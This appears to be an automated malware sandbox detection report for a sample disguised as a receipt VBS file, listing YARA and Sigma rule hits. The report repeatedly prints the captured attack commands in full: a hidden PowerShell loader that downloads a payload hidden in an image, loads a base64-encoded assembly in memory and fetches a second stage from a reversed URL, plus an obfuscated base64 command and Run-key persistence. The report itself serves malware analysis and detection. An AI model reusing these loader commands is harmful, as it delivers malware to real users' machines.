Process Memory Space: powershell.exe PID: 1220	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x323d3d:$b2: ::FromBase64String( 0x35631a:$b2: ::FromBase64String( 0x3568d4:$b2: ::FromBase64String( 0x357f10:$b2: ::FromBase64String( 0x35d17a:$b2: ::FromBase64String( 0x35d734:$b2: ::FromBase64String( 0x379f3d:$b2: ::FromBase64String( 0x37c025:$b2: ::FromBase64String( 0x37c56d:$b2: ::FromBase64String( 0x381c50:$b2: ::FromBase64String( 0xc670ea:$b2: ::FromBase64String( 0xc676a4:$b2: ::FromBase64String( 0xcabb05:$b2: ::FromBase64String( 0xcac8a3:$b2: ::FromBase64String( 0xcdb1da:$b2: ::FromBase64String( 0xcdb794:$b2: ::FromBase64String( 0xcf7efa:$b2: ::FromBase64String( 0x323ba2:$b3: ::UTF8.GetString( 0x35617f:$b3: ::UTF8.GetString( 0x356739:$b3: ::UTF8.GetString( 0x35cfdf:$b3: ::UTF8.GetString(
Click to see the 3 entries

Other

Source	Rule	Description	Author
amsi64_8128.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_3632.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_1220.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine|base

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDg

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine|base

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 6380, ParentProcessName: RegAsm.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" , ProcessId: 5296, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 6380, ParentProcessName: RegAsm.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" , ProcessId: 5296, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs", ProcessId: 7508, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDg

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\osma.vbs, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 172.67.19.24, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7508, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs", CommandLine: "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8128, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs", ProcessId: 5164, ProcessName: cmd.exe

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine|base

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }", CommandLine|base

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

